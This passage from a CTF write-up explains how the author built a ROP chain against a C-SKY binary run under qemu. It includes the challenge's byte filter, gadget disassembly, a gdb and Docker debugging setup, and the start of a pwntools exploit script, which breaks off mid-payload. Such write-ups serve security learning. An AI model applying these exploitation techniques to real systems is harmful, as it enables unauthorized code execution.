</span></span><span style="display:flex;"><span>             ((c == <span style="color:#d0bf69">0x3d</span> || (c == <span style="color:#d0bf69">0x40</span>)))) ||
</span></span><span style="display:flex;"><span>            ((c == <span style="color:#d0bf69">0x42</span> || (((c == <span style="color:#d0bf69">0x48</span> || (c == <span style="color:#d0bf69">0x4b</span>)) || (c == <span style="color:#d0bf69">0x4e</span>)))
</span></span><span style="display:flex;"><span>             ))) || (((((c == <span style="color:#d0bf69">0x50</span> || (c == <span style="color:#d0bf69">0x54</span>)) || (c == <span style="color:#d0bf69">0x5a</span>)) ||
</span></span><span style="display:flex;"><span>                      ((c == <span style="color:#d0bf69">0x5b</span> || (c == <span style="color:#d0bf69">0x5d</span>)))) ||
</span></span><span style="display:flex;"><span>                     ((((c == <span style="color:#d0bf69">0x5f</span> ||
</span></span><span style="display:flex;"><span>                        (((c == <span style="color:#d0bf69">0x60</span> || (c == <span style="color:#d0bf69">99</span>)) || (c == <span style="color:#d0bf69">0x6a</span>)))) ||
</span></span><span style="display:flex;"><span>                       ((c == <span style="color:#d0bf69">0x6b</span> || (c == <span style="color:#d0bf69">0x6d</span>)))) || (c == <span style="color:#d0bf69">0x6f</span>)))))))) ||
</span></span><span style="display:flex;"><span>         (((c == <span style="color:#d0bf69">0x72</span> || (c == <span style="color:#d0bf69">0x78</span>)) ||
</span></span><span style="display:flex;"><span>          ((c == <span style="color:#d0bf69">0x7b</span> ||
</span></span><span style="display:flex;"><span>           ((((c == <span style="color:#d0bf69">0x7e</span> || (c == <span style="color:#d0bf69">0x7f</span>)) || (c == <span style="color:#d0bf69">0x80</span>)) ||
</span></span><span style="display:flex;"><span>            ((c == <span style="color:#d0bf69">0x84</span> || (c == <span style="color:#d0bf69">0x8a</span>)))))))))) ||
</span></span><span style="display:flex;"><span>        (((c == <span style="color:#d0bf69">0x8b</span> || ((c == <span style="color:#d0bf69">0x8d</span> || (c == <span style="color:#d0bf69">0x8f</span>)))) ||
</span></span><span style="display:flex;"><span>         ((((c == <span style="color:#d0bf69">0x90</span> || (((c == <span style="color:#d0bf69">0x95</span> || (c == <span style="color:#d0bf69">0x9a</span>)) || (c == <span style="color:#d0bf69">0x9b</span>))))
</span></span><span style="display:flex;"><span>           || (((c == <span style="color:#d0bf69">0x9d</span> || (c == <span style="color:#d0bf69">0x9f</span>)) || (c == <span style="color:#d0bf69">0xa2</span>)))) ||
</span></span><span style="display:flex;"><span>          (((c == <span style="color:#d0bf69">0xa5</span> || (c == <span style="color:#d0bf69">0xab</span>)) ||
</span></span><span style="display:flex;"><span>           ((c == <span style="color:#d0bf69">0xad</span> || (((c == <span style="color:#d0bf69">0xaf</span> || (c == <span style="color:#d0bf69">0xb2</span>)) || (c == <span style="color:#d0bf69">0xb5</span>))))
</span></span><span style="display:flex;"><span>           )))))))) ||
</span></span><span style="display:flex;"><span>       ((((c == <span style="color:#d0bf69">0xbb</span> || (c == <span style="color:#d0bf69">0xbd</span>)) ||
</span></span><span style="display:flex;"><span>         ((c == <span style="color:#d0bf69">0xbf</span> ||
</span></span><span style="display:flex;"><span>          (((((c == <span style="color:#d0bf69">0xc2</span> || (c == <span style="color:#d0bf69">200</span>)) ||
</span></span><span style="display:flex;"><span>             ((c == <span style="color:#d0bf69">0xcb</span> ||
</span></span><span style="display:flex;"><span>              ((((c == <span style="color:#d0bf69">0xcd</span> || (c == <span style="color:#d0bf69">0xce</span>)) || (c == <span style="color:#d0bf69">0xd2</span>)) ||
</span></span><span style="display:flex;"><span>               ((c == <span style="color:#d0bf69">0xd4</span> || (c == <span style="color:#d0bf69">0xd5</span>)))))))) || (c == <span style="color:#d0bf69">0xd9</span>)) ||
</span></span><span style="display:flex;"><span>           ((c == <span style="color:#d0bf69">0xda</span> || (c == <span style="color:#d0bf69">0xdf</span>)))))))) ||
</span></span><span style="display:flex;"><span>        ((((c == <span style="color:#d0bf69">0x18</span> || (((c == <span style="color:#d0bf69">0xe4</span> || (c == <span style="color:#d0bf69">0xe5</span>)) || (c == <span style="color:#d0bf69">0xe9</span>))))
</span></span><span style="display:flex;"><span>          || (((c == <span style="color:#d0bf69">0xed</span> || (c == <span style="color:#d0bf69">0xee</span>)) || (c == <span style="color:#d0bf69">0xf1</span>)))) ||
</span></span><span style="display:flex;"><span>         ((c == <span style="color:#d0bf69">0xf2</span> || (c == <span style="color:#d0bf69">0xfa</span>)))))))) {
</span></span><span style="display:flex;"><span>      <span style="color:#41a1c0">exit</span>(<span style="color:#d0bf69">0</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Here&rsquo;s the list of the 98 disallowed values:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>[ <span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">2</span>, <span style="color:#d0bf69">3</span>, <span style="color:#d0bf69">6</span>, <span style="color:#d0bf69">7</span>, <span style="color:#d0bf69">9</span>, <span style="color:#d0bf69">10</span>, <span style="color:#d0bf69">0xb</span>, <span style="color:#d0bf69">0xd</span>, <span style="color:#d0bf69">0xe</span>, <span style="color:#d0bf69">0xf</span>, <span style="color:#d0bf69">0x11</span>, <span style="color:#d0bf69">4</span>, <span style="color:#d0bf69">0x13</span>, <span style="color:#d0bf69">0x14</span>, <span style="color:#d0bf69">0x15</span>, <span style="color:#d0bf69">0x16</span>, <span style="color:#d0bf69">0x1d</span>, <span style="color:#d0bf69">0x1e</span>, <span style="color:#d0bf69">0x1f</span>, <span style="color:#d0bf69">0x20</span>, <span style="color:#d0bf69">0x21</span>, <span style="color:#d0bf69">0x22</span>, <span style="color:#d0bf69">0x23</span>, <span style="color:#d0bf69">0x2a</span>, <span style="color:#d0bf69">0x2b</span>, <span style="color:#d0bf69">0x2d</span>, <span style="color:#d0bf69">0x30</span>, <span style="color:#d0bf69">0x31</span>, <span style="color:#d0bf69">0x32</span>, <span style="color:#d0bf69">0x34</span>, <span style="color:#d0bf69">0x3a</span>, <span style="color:#d0bf69">0x3b</span>, <span style="color:#d0bf69">0x3d</span>, <span style="color:#d0bf69">0x40</span>, <span style="color:#d0bf69">0x42</span>, <span style="color:#d0bf69">0x48</span>, <span style="color:#d0bf69">0x4b</span>, <span style="color:#d0bf69">0x4e</span>, <span style="color:#d0bf69">0x50</span>, <span style="color:#d0bf69">0x54</span>, <span style="color:#d0bf69">0x5a</span>, <span style="color:#d0bf69">0x5b</span>, <span style="color:#d0bf69">0x5d</span>, <span style="color:#d0bf69">0x5f</span>, <span style="color:#d0bf69">0x60</span>, <span style="color:#d0bf69">99</span>, <span style="color:#d0bf69">0x6a</span>, <span style="color:#d0bf69">0x6b</span>, <span style="color:#d0bf69">0x6d</span>, <span style="color:#d0bf69">0x6f</span>, <span style="color:#d0bf69">0x72</span>, <span style="color:#d0bf69">0x78</span>, <span style="color:#d0bf69">0x7b</span>, <span style="color:#d0bf69">0x7e</span>, <span style="color:#d0bf69">0x7f</span>, <span style="color:#d0bf69">0x80</span>, <span style="color:#d0bf69">0x84</span>, <span style="color:#d0bf69">0x8a</span>, <span style="color:#d0bf69">0x8b</span>, <span style="color:#d0bf69">0x8d</span>, <span style="color:#d0bf69">0x8f</span>, <span style="color:#d0bf69">0x90</span>, <span style="color:#d0bf69">0x95</span>, <span style="color:#d0bf69">0x9a</span>, <span style="color:#d0bf69">0x9b</span>, <span style="color:#d0bf69">0x9d</span>, <span style="color:#d0bf69">0x9f</span>, <span style="color:#d0bf69">0xa2</span>, <span style="color:#d0bf69">0xa5</span>, <span style="color:#d0bf69">0xab</span>, <span style="color:#d0bf69">0xad</span>, <span style="color:#d0bf69">0xaf</span>, <span style="color:#d0bf69">0xb2</span>, <span style="color:#d0bf69">0xb5</span>, <span style="color:#d0bf69">0xbb</span>, <span style="color:#d0bf69">0xbd</span>, <span style="color:#d0bf69">0xbf</span>, <span style="color:#d0bf69">0xc2</span>, <span style="color:#d0bf69">200</span>, <span style="color:#d0bf69">0xcb</span>, <span style="color:#d0bf69">0xcd</span>, <span style="color:#d0bf69">0xce</span>, <span style="color:#d0bf69">0xd2</span>, <span style="color:#d0bf69">0xd4</span>, <span style="color:#d0bf69">0xd5</span>, <span style="color:#d0bf69">0xd9</span>, <span style="color:#d0bf69">0xda</span>, <span style="color:#d0bf69">0xdf</span>, <span style="color:#d0bf69">0x18</span>, <span style="color:#d0bf69">0xe4</span>, <span style="color:#d0bf69">0xe5</span>, <span style="color:#d0bf69">0xe9</span>, <span style="color:#d0bf69">0xed</span>, <span style="color:#d0bf69">0xee</span>, <span style="color:#d0bf69">0xf1</span>, <span style="color:#d0bf69">0xf2</span>, <span style="color:#d0bf69">0xfa</span> ]
</span></span></code></pre></div><p>I tried to adapt the payload of the previous challenge.
Unfortunately the address of the syscall gadget (<code>0x8806</code>) contained a forbidden byte.
Furthermore, the syscall number for execve was also blocked &#x1f979;</p>
<p>Apparently these were collateral victims, and the author did not block them for this reason&hellip;</p>
<p><img src="/tfcctf25/cromo/discord.png" alt="ds"></p>
<br>
<p>Let&rsquo;s move on.
Since this time our ret2win gadget is unavailable, we&rsquo;ll need to craft a proper ROP chain.</p>
<h3 id="the-chain">The chain</h3>
<p>My first idea was to use the <code>sigreturn</code> syscall to setup the registers for an <code>execve</code>.
After reading a bit of the Linux <a href="https://elixir.bootlin.com/linux/v6.16.3/source/arch/csky/kernel/signal.c#L69">source code</a>, I gave up on that.</p>
<p>At this point, I was thinking of splitting the payload and calling read a second time.<br>
I noticed in the <code>read</code> function a pattern very similar to that found
in the <code>syscall</code> gadget: registers are stored on the stack when being swapped around.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#6c7986">// read
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8864:	<span style="color:#41a1c0">subi</span>      	r14, r14, <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8866:	<span style="color:#41a1c0">st.w</span>      	r15, (r14, <span style="color:#d0bf69">0x4</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x886a:	<span style="color:#41a1c0">st.w</span>      	r8, (r14, <span style="color:#d0bf69">0x0</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x886e:	<span style="color:#41a1c0">mov</span>      	r8, r14
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8870:	<span style="color:#41a1c0">subi</span>      	r14, r14, <span style="color:#d0bf69">12</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8872:	<span style="color:#41a1c0">subi</span>      	r3, r8, <span style="color:#d0bf69">4</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8876:	<span style="color:#41a1c0">st.w</span>      	r0, (r3, <span style="color:#d0bf69">0x0</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8878:	<span style="color:#41a1c0">subi</span>      	r3, r8, <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x887c:	<span style="color:#41a1c0">st.w</span>      	r1, (r3, <span style="color:#d0bf69">0x0</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x887e:	<span style="color:#41a1c0">subi</span>      	r3, r8, <span style="color:#d0bf69">12</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8882:	<span style="color:#41a1c0">st.w</span>      	r2, (r3, <span style="color:#d0bf69">0x0</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8884:	<span style="color:#41a1c0">subi</span>      	r3, r8, <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">// read gadget
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8888:	<span style="color:#41a1c0">ld.w</span>      	r2, (r3, <span style="color:#d0bf69">0x0</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x888a:	<span style="color:#41a1c0">subi</span>      	r3, r8, <span style="color:#d0bf69">12</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x888e:	<span style="color:#41a1c0">subi</span>      	r1, r8, <span style="color:#d0bf69">4</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8892:	<span style="color:#41a1c0">ld.w</span>      	r3, (r3, <span style="color:#d0bf69">0x0</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8894:	<span style="color:#41a1c0">ld.w</span>      	r1, (r1, <span style="color:#d0bf69">0x0</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8896:	<span style="color:#41a1c0">movi</span>      	r0, <span style="color:#d0bf69">84</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8898:	<span style="color:#41a1c0">bsr</span>      	<span style="color:#d0bf69">0x87e0</span>	<span style="color:#6c7986">// 0x87e0    // syscall
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x889c:	<span style="color:#41a1c0">lsli</span>      	r0, r0, <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x88a0:	<span style="color:#41a1c0">mov</span>      	r3, r0
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x88a2:	<span style="color:#41a1c0">mov</span>      	r0, r3
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x88a4:	<span style="color:#41a1c0">mov</span>      	r14, r8
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x88a6:	<span style="color:#41a1c0">ld.w</span>      	r15, (r14, <span style="color:#d0bf69">0x4</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x88aa:	<span style="color:#41a1c0">ld.w</span>      	r8, (r14, <span style="color:#d0bf69">0x0</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x88ae:	<span style="color:#41a1c0">addi</span>      	r14, r14, <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x88b0:	<span style="color:#41a1c0">rts</span>
</span></span></code></pre></div><p>Thus, I started looking for suitable gadgets in the the whole program.</p>
<ul>
<li>
<p>This gadget pops from the stack <code>r8</code>, then stores that value in <code>r3</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#6c7986">// setr3 gadget
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x87c0:	<span style="color:#41a1c0">ld.w</span>      	r15, (r14, <span style="color:#d0bf69">0x4</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x87c4:	<span style="color:#41a1c0">ld.w</span>      	r8, (r14, <span style="color:#d0bf69">0x0</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x87c8:	<span style="color:#41a1c0">mov</span>      	r3, r8
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x87ca:	<span style="color:#41a1c0">addi</span>      	r14, r14, <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x87cc:	<span style="color:#41a1c0">mov</span>      	r8, r14
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x87ce:	<span style="color:#41a1c0">rts</span>
</span></span></code></pre></div></li>
<li>
<p>This one simply pops the base pointer <code>r8</code> and returns.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#6c7986">// ret gadget
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x88a6:	<span style="color:#41a1c0">ld.w</span>      	r15, (r14, <span style="color:#d0bf69">0x4</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x88aa:	<span style="color:#41a1c0">ld.w</span>      	r8, (r14, <span style="color:#d0bf69">0x0</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x88ae:	<span style="color:#41a1c0">addi</span>      	r14, r14, <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x88b0:	<span style="color:#41a1c0">rts</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="debugging">Debugging</h3>
<p>This was one of the first times I tried a challenge in an exotic architecture (reading as in, not x86).
Debugging this kind of challenge is always hard, as pwntools&rsquo; <code>gdb.attach</code> simply won&rsquo;t work
when qemu and Docker enter the mix.</p>
<p>So, I spent quite a bit of time preparing a comfortable gdb setup.
Since this helped me lots, I think it&rsquo;s worth sharing.</p>
<p>First of all, I exposed a port for qemu&rsquo;s gdbserver:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Dockerfile" data-lang="Dockerfile"><span style="display:flex;"><span><span style="color:#fc5fa3">EXPOSE</span><span style="color:#fc6a5d"> 1235/tcp</span><span style="color:#960050">
</span></span></span><span style="display:flex;"><span><span style="color:#960050"></span><span style="color:#fc5fa3">CMD</span> [<span style="color:#fc6a5d">&#34;socat&#34;</span>,<span style="color:#fc6a5d">&#34;-d&#34;</span>,<span style="color:#fc6a5d">&#34;-d&#34;</span>,<span style="color:#fc6a5d">&#34;-x&#34;</span>,<span style="color:#fc6a5d">&#34;TCP-LISTEN:1337,reuseaddr,fork&#34;</span>,<span style="color:#fc6a5d">&#34;EXEC:env -i ./qemu -g 1235 ./crorex,stderr,setsid&#34;</span>]<span style="color:#960050">
</span></span></span></code></pre></div><p>Then in my solve script I added a command to spawn a terminal with gdb:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">with</span> <span style="color:#d0a8ff">open</span>(<span style="color:#fc6a5d">&#39;args.gdb&#39;</span>,<span style="color:#fc6a5d">&#39;w&#39;</span>) <span style="color:#fc5fa3">as</span> f:
</span></span><span style="display:flex;"><span>    f.write(GDB_ARGS)
</span></span><span style="display:flex;"><span>    f.write(<span style="color:#fc6a5d">&#34;set architecture csky</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>    f.write(<span style="color:#fc6a5d">&#34;target remote localhost:1235</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>process(context.terminal + [<span style="color:#fc6a5d">&#34;sh&#34;</span>, <span style="color:#fc6a5d">&#34;-c&#34;</span>, <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;sleep 1; sudo gdb -x args.gdb </span><span style="color:#fc6a5d">{</span>e.path<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>])
</span></span></code></pre></div><p>At this point I got a gdb window connected to the remote executable.<br>
However, we immediately stumble upon another point of frustration:
<code>pwndbg</code> has no support whatsoever for C-SKY &#x1f940;</p>
<p><img src="/tfcctf25/cromo/sad.png" alt="sad"></p>
<p>I needed a way to mitigate the pain of only being able to use the TUI layouts and the default commands&hellip;<br>
So I made this small script to help me associate addresses with function names.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#6c7986"># start - end address</span>
</span></span><span style="display:flex;"><span>syms = {
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;get_input&#34;</span>: (<span style="color:#d0bf69">0x000823c</span>, <span style="color:#d0bf69">0x8770</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;entry&#34;</span>: (<span style="color:#d0bf69">0x8778</span>, <span style="color:#d0bf69">0x87ae</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;syscall&#34;</span>: (<span style="color:#d0bf69">0x087e0</span>, <span style="color:#d0bf69">0x883a</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;syscall_noret&#34;</span>: (<span style="color:#d0bf69">0x0883c</span>, <span style="color:#d0bf69">0x8860</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;read&#34;</span>: (<span style="color:#d0bf69">0x08864</span>, <span style="color:#d0bf69">0x88b0</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;write&#34;</span>: (<span style="color:#d0bf69">0x000088b4</span>, <span style="color:#d0bf69">0x8900</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;exit&#34;</span>: (<span style="color:#d0bf69">0x0008904</span>, <span style="color:#d0bf69">0x8936</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;strlen&#34;</span>: (<span style="color:#d0bf69">0x08938</span>, <span style="color:#d0bf69">0x8986</span>),
</span></span><span style="display:flex;"><span>    <span style="color:#fc6a5d">&#34;puts&#34;</span>: (<span style="color:#d0bf69">0x008988</span>, <span style="color:#d0bf69">0x89ca</span>),
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">with</span> <span style="color:#d0a8ff">open</span>(<span style="color:#fc6a5d">&#34;sym.S&#34;</span>, <span style="color:#fc6a5d">&#34;w&#34;</span>) <span style="color:#fc5fa3">as</span> f:
</span></span><span style="display:flex;"><span>    f.write(<span style="color:#fc6a5d">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">        .text
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">    &#34;&#34;&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> sym, (start, end) in syms.items():
</span></span><span style="display:flex;"><span>        end+=<span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>        f.write(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">        .globl </span><span style="color:#fc6a5d">{</span>sym<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">        .type </span><span style="color:#fc6a5d">{</span>sym<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, @function
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">        .org </span><span style="color:#fc6a5d">{</span>start<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">#x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">    </span><span style="color:#fc6a5d">{</span>sym<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">:
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">        .space (</span><span style="color:#fc6a5d">{</span>end<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">#x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">-</span><span style="color:#fc6a5d">{</span>start<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">#x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">)
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">        .size </span><span style="color:#fc6a5d">{</span>sym<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">, </span><span style="color:#fc6a5d">{</span>end<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">#x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">-</span><span style="color:#fc6a5d">{</span>start<span style="color:#fc6a5d">:</span><span style="color:#fc6a5d">#x</span><span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">        &#34;&#34;&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> os
</span></span><span style="display:flex;"><span>os.system(<span style="color:#fc6a5d">&#34;as -g sym.S -o sym.o&#34;</span>)
</span></span></code></pre></div><p>This script produces an object file that can be loaded with <code>add-symbol-file sym.o 0x0</code>.<br>
Not the end of the world, but we can finally see where the exploit is jumping around &#x1f609;</p>
<p><img src="/tfcctf25/cromo/gdb2.png" alt="gdb2"></p>
<h3 id="final-script">Final script</h3>
<p>This is the flow of the first payload:</p>
<ol>
<li>setup the buffer with fd (<code>0</code>), size (<code>0xff</code>) and buffer address</li>
<li>set r3 to the buffer address + 16</li>
<li>set r8 to the buffer address + 16</li>
<li>call the read gadget</li>
<li>do the second stage (basically <em>mucusuki</em>&rsquo;s payload)</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> pwn <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>e = ELF(<span style="color:#fc6a5d">&#34;./crorex&#34;</span>)
</span></span><span style="display:flex;"><span>context.terminal = [<span style="color:#fc6a5d">&#34;alacritty&#34;</span>,<span style="color:#fc6a5d">&#34;-e&#34;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>GDB_ARGS=<span style="color:#fc6a5d">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">layout asm
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">layout regs
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">add-symbol-file sym.o 0x0
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">b get_input
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">b exit
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">b *0x8738
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">b *0x8936
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">b *0x8770
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">conn</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> args.LOCAL:
</span></span><span style="display:flex;"><span>        r = process([<span style="color:#fc6a5d">&#34;./qemu&#34;</span>, <span style="color:#fc6a5d">&#34;-g&#34;</span>, <span style="color:#fc6a5d">&#34;1235&#34;</span>, e.path], env={})
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> args.DOCKER:
</span></span><span style="display:flex;"><span>            nc = <span style="color:#fc6a5d">&#34;localhost 1337&#34;</span>
</span></span><span style="display:flex;"><span>            ssl = <span style="color:#fc5fa3">False</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>            nc = <span style="color:#fc6a5d">&#34;ncat --ssl crorex-e073519243d25f48.challs.tfcctf.com 1337&#34;</span>
</span></span><span style="display:flex;"><span>            ssl = <span style="color:#fc5fa3">True</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        addr, port = nc.strip().split()[-<span style="color:#d0bf69">2</span>:]
</span></span><span style="display:flex;"><span>        r = remote(addr, port, ssl=ssl)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> args.GDB:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">with</span> <span style="color:#d0a8ff">open</span>(<span style="color:#fc6a5d">&#39;args.gdb&#39;</span>,<span style="color:#fc6a5d">&#39;w&#39;</span>) <span style="color:#fc5fa3">as</span> f:
</span></span><span style="display:flex;"><span>            f.write(GDB_ARGS)
</span></span><span style="display:flex;"><span>            f.write(<span style="color:#fc6a5d">&#34;set architecture csky</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>            f.write(<span style="color:#fc6a5d">&#34;target remote localhost:1235</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        process(context.terminal + [<span style="color:#fc6a5d">&#34;sh&#34;</span>, <span style="color:#fc6a5d">&#34;-c&#34;</span>, <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;sleep 1; sudo gdb -x args.gdb </span><span style="color:#fc6a5d">{</span>e.path<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> r
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">main</span>():
</span></span><span style="display:flex;"><span>    r = conn()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    stack = <span style="color:#d0bf69">0x3ffffebc</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    payload = fit({
